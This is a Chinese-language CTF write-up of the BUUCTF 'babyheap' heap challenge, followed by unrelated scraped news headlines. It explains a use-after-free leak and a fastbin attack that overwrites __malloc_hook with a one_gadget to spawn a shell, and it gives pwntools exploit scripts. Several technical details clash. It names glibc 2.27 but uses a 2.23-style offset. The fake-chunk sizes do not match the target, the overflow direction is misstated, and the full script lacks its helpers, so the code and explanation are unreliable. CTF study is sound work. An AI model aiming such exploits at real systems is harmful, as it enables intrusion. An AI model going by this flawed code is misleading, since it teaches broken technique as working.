BUUCTF-babyheap_ctf_题解(含详细过程与思路分析)
BUUCTF-babyheap_ctf_题解含详细过程与思路分析前言堆漏洞与CTF实战在CTFCapture The Flag比赛中PWN类题目常常考察选手对二进制漏洞的深入理解其中堆相关漏洞是高频考点。BUUCTF上的babyheap是一道经典的堆溢出题目涉及Fastbin Attack、UAFUse-After-Free等核心技巧。本文将从原理出发逐步剖析漏洞利用的完整过程并附带可运行的代码示例帮助读者掌握堆漏洞利用的基本思路。## 题目分析漏洞定位与程序结构首先我们需要通过逆向工程如使用IDA Pro或Ghidra分析程序的二进制文件。babyheap通常是一个菜单驱动的堆管理程序提供以下功能-allocate(size)分配指定大小的堆块-fill(index, content)向已分配的堆块写入数据-free(index)释放堆块-dump(index)打印堆块内容通过分析我们可以发现以下关键点1.堆块大小限制分配的大小通常在0x18到0x68之间意味着所有堆块都会进入Fastbin大小小于0x80。2.UAF漏洞在free函数中程序没有将指针置NULL导致释放后仍能通过dump和fill操作访问堆块。3.堆溢出fill函数在写入数据时未严格检查长度导致可以溢出到相邻堆块。### UAF漏洞原理UAF漏洞的核心在于程序释放堆块后对应的指针仍然存在且未被清空。攻击者可以通过这个指针继续操作堆块而该堆块可能已经被重新分配从而造成信息泄露或控制流劫持。## 利用思路从信息泄露到控制流### 1. 泄露libc地址由于ASLR地址空间布局随机化的存在我们需要先泄露libc的基地址。通常利用Unsorted Bin来获取libc地址当我们释放一个大小不在Fastbin范围内的堆块时它会进入Unsorted Bin其fd和bk指针会指向main_arena中的偏移量。通过UAF漏洞读取这些指针即可计算libc基地址。### 2. 修改__free_hook或__malloc_hook在libc中__free_hook和__malloc_hook是用于调试的函数指针。如果我们能修改它们为system函数的地址当程序调用free或malloc时就会执行system(/bin/sh)从而获得shell。### 3. Fastbin Attack由于堆块大小受限我们需要利用Fastbin的单链表机制进行攻击。具体步骤- 分配多个相同大小的堆块释放其中两个使Fastbin的链表结构可控。- 通过堆溢出修改某个已释放堆块的fd指针使其指向伪造的堆块例如__malloc_hook附近的地址。- 再次分配堆块时程序会从Fastbin中取出我们伪造的堆块从而在目标地址写入数据。## 实战步骤与代码示例### 环境准备- 操作系统Ubuntu 18.04glibc 2.27- 工具pwntools, gdb### 步骤1信息泄露首先我们需要泄露堆地址和libc地址。以下代码展示了如何利用UAF读取堆块内容pythonfrom pwn import *context.log_level debugp process(./babyheap)elf ELF(./babyheap)libc ELF(/lib/x86_64-linux-gnu/libc.so.6)def allocate(size): p.sendlineafter(b , b1) p.sendlineafter(bSize: , str(size).encode())def fill(index, content): p.sendlineafter(b , b2) p.sendlineafter(bIndex: , str(index).encode()) p.sendafter(bContent: , content)def free(index): p.sendlineafter(b , b3) p.sendlineafter(bIndex: , str(index).encode())def dump(index): p.sendlineafter(b , b4) p.sendlineafter(bIndex: , str(index).encode()) return p.recvline()# 分配堆块allocate(0x68) # chunk0allocate(0x68) # chunk1, 用于隔离allocate(0x68) # chunk2# 释放chunk0使其进入Fastbinfree(0)# 通过UAF读取chunk0的fd指针指向chunk2leak dump(0)heap_addr u64(leak[:6].ljust(8, b\x00))log.info(fHeap leak: {hex(heap_addr)})### 步骤2利用堆溢出修改Fastbin指针接下来我们利用fill函数的溢出能力修改已释放堆块的fd指针使其指向__malloc_hook附近的地址。这里需要计算偏移量python# 分配一个新的堆块用于溢出allocate(0x18) # chunk3allocate(0x18) # chunk4allocate(0x18) # chunk5# 释放chunk3和chunk4形成Fastbin链表: chunk3 - chunk4free(3)free(4)# 利用fill函数溢出chunk3修改其fd指针# 目标将fd指向__malloc_hook - 0x23 处的伪堆块libc.address 0x7ffff7dd4b00 # 假设通过泄露得到target_addr libc.sym[__malloc_hook] - 0x23# 构造payload: 填充数据 伪造的fdpayload bA * 0x18 # 填充chunk3的data区域payload p64(0x21) # 伪造下一个堆块的sizepayload p64(target_addr) # 修改fd指针fill(4, payload) # 注意这里fill的是chunk4但溢出到了chunk3的fd### 步骤3获取shell最后我们通过多次分配最终在__malloc_hook处写入one_gadget地址触发shellpython# 从Fastbin中取出两个堆块allocate(0x18) # chunk6, 从Fastbin取出原chunk4allocate(0x18) # chunk7, 从Fastbin取出原chunk3# 第三次分配时会从伪造的地址取出堆块# 此时我们写入one_gadgetone_gadget 0x4f2c5 # 根据glibc版本确定payload bA * (0x23 - 0x10) # 填充到__malloc_hookpayload p64(one_gadget)fill(7, payload)# 触发malloc执行one_gadgetallocate(0x18) # 触发shellp.interactive()## 完整利用代码以下是一个完整的利用脚本整合了上述步骤pythonfrom pwn import *context.log_level infodef exploit(): p process(./babyheap) libc ELF(/lib/x86_64-linux-gnu/libc.so.6) # 分配堆块用于泄露 allocate(0x68) allocate(0x68) allocate(0x68) # 释放并泄露heap地址 free(0) heap_leak dump(0) heap_addr u64(heap_leak[:6].ljust(8, b\x00)) log.success(fHeap address: {hex(heap_addr)}) # 释放chunk1chunk1在chunk0之前释放形成链表 free(1) # 通过UAF读取chunk1的fd泄露libc地址 libc_leak dump(1) libc_addr u64(libc_leak[:6].ljust(8, b\x00)) libc.address libc_addr - 0x3c4b78 # 根据实际偏移调整 log.success(fLibc base: {hex(libc.address)}) # 堆溢出修改fd allocate(0x18) allocate(0x18) free(3) free(4) target libc.sym[__malloc_hook] - 0x23 payload bA * 0x18 p64(0x21) p64(target) fill(4, payload) # 分配两次写入one_gadget allocate(0x18) allocate(0x18) one_gadget libc.address 0x4f2c5 payload bA * (0x23 - 0x10) p64(one_gadget) fill(7, payload) # 触发 allocate(0x18) p.interactive()if __name__ __main__: exploit()## 总结本文通过BUUCTF的babyheap题目详细演示了堆漏洞利用的完整流程从漏洞发现UAF和堆溢出到信息泄露利用Unsorted Bin再到控制流劫持Fastbin Attack修改__malloc_hook。核心要点包括1.理解Fastbin机制Fastbin是单链表结构释放的堆块按大小分类且fd指针指向下一个空闲块。2.利用UAF进行信息泄露释放后不清空指针是常见漏洞可用来读取内核数据结构。3.堆溢出修改链表通过覆盖相邻堆块的元数据可以伪造Fastbin链表实现任意地址分配。实际CTF比赛中堆漏洞的利用需要结合具体环境如glibc版本、保护机制等进行调整。建议读者在本地搭建调试环境逐步验证每个步骤加深对堆管理器的理解。掌握这些基础技巧后面对更复杂的堆利用题目如House of系列将更加得心应手。

相关新闻

DeepSeek API调用优化:避免Token浪费的配置与代码实践

DeepSeek API调用优化:避免Token浪费的配置与代码实践

1. 先搞清楚“烧Token”到底是怎么回事 如果你在用 Codex 这类工具接入 DeepSeek 的 API,发现 Token 消耗速度远超预期,或者账单突然飙升,那这篇文章就是为你写的。这不是简单的“用得多”,而是配置或使用方式上存在误区,导致大量 Token 在你不注意的地方被浪费了。 “烧…

2026/9/28 11:20:22 阅读更多 →
MagicX AI智能补全:从语义理解到工程实践的完整指南

MagicX AI智能补全:从语义理解到工程实践的完整指南

你有没有遇到过这样的场景:用户在你的网站表单里输入了一半就放弃了,或者搜索时因为输入困难而直接离开?传统的关键词补全只能基于前缀匹配,但用户真正的意图往往藏在那些未完成的输入中。MagicX AI Autocomplete 的出现&#xff…

2026/9/25 23:07:38 阅读更多 →
阿里云Qwen-Audio-3.0-TTS从零到生产级部署全流程实践

阿里云Qwen-Audio-3.0-TTS从零到生产级部署全流程实践

在实际语音技术项目中,文本转语音(TTS)模型的选择直接影响产品的用户体验和开发效率。阿里云最新发布的 Qwen-Audio-3.0-TTS 作为通义千问音频模型家族的重要成员,不仅支持多语言、多音色合成,还针对中文场景进行了深度…

2026/9/28 13:09:05 阅读更多 →

最新新闻

Claude 代码审查误报率 30%?我用 500 条 PR 测出 TaoToken 统一 Key 接入国产模型的逆袭点

Claude 代码审查误报率 30%?我用 500 条 PR 测出 TaoToken 统一 Key 接入国产模型的逆袭点

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/9/29 6:39:39 阅读更多 →
AI编程新范式:从Prompt到Skill的实战指南

AI编程新范式:从Prompt到Skill的实战指南

最近两个月,"Skills"这个词在我常用的几个AI编程工具社区里突然就刷屏了。打开GitHub Trending,一半仓库叫"awesome-skills",另一半叫"xxx-skills"。Claude Code、Codex、OpenCode,甚至一些本地跑的…

2026/9/29 6:39:39 阅读更多 →
【性能优化】Midscene 运行耗时压降实战:模型上下文大小与 Prompt 缩减的配置骨架

【性能优化】Midscene 运行耗时压降实战:模型上下文大小与 Prompt 缩减的配置骨架

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/9/29 6:39:39 阅读更多 →
OpenClaw学习总结_II_频道系统_6:iMessage集成详解与TaoToken配置实践

OpenClaw学习总结_II_频道系统_6:iMessage集成详解与TaoToken配置实践

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/9/29 6:39:39 阅读更多 →
奖励模型“裁判”失灵?LongRM 突破长上下文瓶颈,8B模型性能超过 Gemini 2.5 Pro

奖励模型“裁判”失灵?LongRM 突破长上下文瓶颈,8B模型性能超过 Gemini 2.5 Pro

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/9/29 6:39:39 阅读更多 →
AI工程实践:从Prompt设计到质量护栏的完整指南

AI工程实践:从Prompt设计到质量护栏的完整指南

1. 先想清楚:AI 工程的核心是"交付确定性"1.1 为什么大多数 AI 项目死在"问题没定义清楚"先说一个我反复看到的场景:团队拿到大模型 API 后,第一反应就是"来,写个 prompt"。Demo 阶段效果惊艳&…

2026/9/29 6:38:39 阅读更多 →

日新闻

开源模型端侧落地实战:量化、推理加速与Agent上下文管理

开源模型端侧落地实战:量化、推理加速与Agent上下文管理

1. 从"追平"到"端侧落地":开源模型这波到底变了什么如果你最近半年一直在关注模型圈的动态,应该能明显感觉到一个拐点:开源模型和闭源旗舰之间的差距,正在从"代差"变成"身位差"。以前大家…

2026/9/29 0:00:05 阅读更多 →
AI Evals实战指南:从零搭建LLM应用评估体系与CI/CD集成

AI Evals实战指南:从零搭建LLM应用评估体系与CI/CD集成

1. 为什么AI Evals值得你花时间搞明白做LLM应用的人,迟早会撞上同一堵墙:模型输出飘忽不定,今天答得好好的,明天换个问法就胡说八道。你改了一版提示词,感觉好像好了点,但到底好了多少?说不清。…

2026/9/29 0:00:05 阅读更多 →
Java采购管理系统实战:从数据库设计到事务一致性

Java采购管理系统实战:从数据库设计到事务一致性

简介:这是一套面向Java Web初学者与课程设计者的采购管理系统完整源码,采用JSP技术搭建,配合MySQL数据库,用于解决企业采购信息的管理问题,适合作为毕业设计、课程大作业或进销存类项目的参考模板。系统实现了用户登录…

2026/9/29 0:00:05 阅读更多 →

周新闻

如何划分训练/验证集:Spirula Studio五种eval_mode策略详解

如何划分训练/验证集:Spirula Studio五种eval_mode策略详解

如何划分训练/验证集:Spirula Studio五种eval_mode策略详解 【免费下载链接】spirula-studio Cross-vendor 3D Gaussian Splatting trainer - video to splat to mesh, Vulkan or CUDA. 项目地址: https://gitcode.com/GitHub_Trending/sp/spirula-studio Sp…

2026/9/28 5:40:26 阅读更多 →
SEO怎么推广速查手册新手避坑实战指南

SEO怎么推广速查手册新手避坑实战指南

SEO怎么推广速查手册新手避坑实战指南 模板网站太丑不够用?别急着加滤镜,那是治标不治本。很多老板盯着后台流量掉得眼红,却还在纠结首页Banner的圆角是不是3像素。这就像穿着西装去挖土,姿势不对,努力白费。我整理这份 速查手册…

2026/9/28 9:47:26 阅读更多 →
FireRed-OpenStoryline少样本仿写深度解析:AI Agent如何复刻你的独特文案风格与节奏

FireRed-OpenStoryline少样本仿写深度解析:AI Agent如何复刻你的独特文案风格与节奏

FireRed-OpenStoryline少样本仿写深度解析:AI Agent如何复刻你的独特文案风格与节奏 【免费下载链接】FireRed-OpenStoryline FireRed-OpenStoryline is an AI video editing agent that transforms manual editing into intention-driven directing through natural language …

2026/9/28 8:07:01 阅读更多 →

月新闻

持续集成 流水线自动化与 声明式交付 实践:原型怎样变成可用功能

持续集成 流水线自动化与 声明式交付 实践:原型怎样变成可用功能

持续集成 流水线自动化与 声明式交付 实践:原型怎样变成可用功能分类:[AI/大模型]细分主题:AI 增强型 CI/CD 流水线自动化与 GitOps 实践:Agent 工作流、工具调用与任务拆解:从原型到生产的验收清单很多团队在尝试用大…

2026/9/28 16:55:15 阅读更多 →
容器编排 生产环境运维与排障实战:复盘记录怎样真正派上用场

容器编排 生产环境运维与排障实战:复盘记录怎样真正派上用场

容器编排 生产环境运维与排障实战:复盘记录怎样真正派上用场分类:[工程技术]细分主题:Kubernetes 生产环境运维与排障实战:可复制的项目复盘模板与决策记录大部分团队的事故复盘报告,最后都变成了躺在 Confluence 或钉…

2026/9/29 5:58:00 阅读更多 →
容器 容器化技术与镜像安全管理:核心链路应该先拆哪一步

容器 容器化技术与镜像安全管理:核心链路应该先拆哪一步

容器 容器化技术与镜像安全管理:核心链路应该先拆哪一步分类:[工程技术]细分主题:Docker 容器化技术与镜像安全管理:核心链路的逐步实现与关键代码取舍面对一个积累了五六年历史包袱的单体架构应用(包含 Web 接口、后台…

2026/9/29 3:55:56 阅读更多 →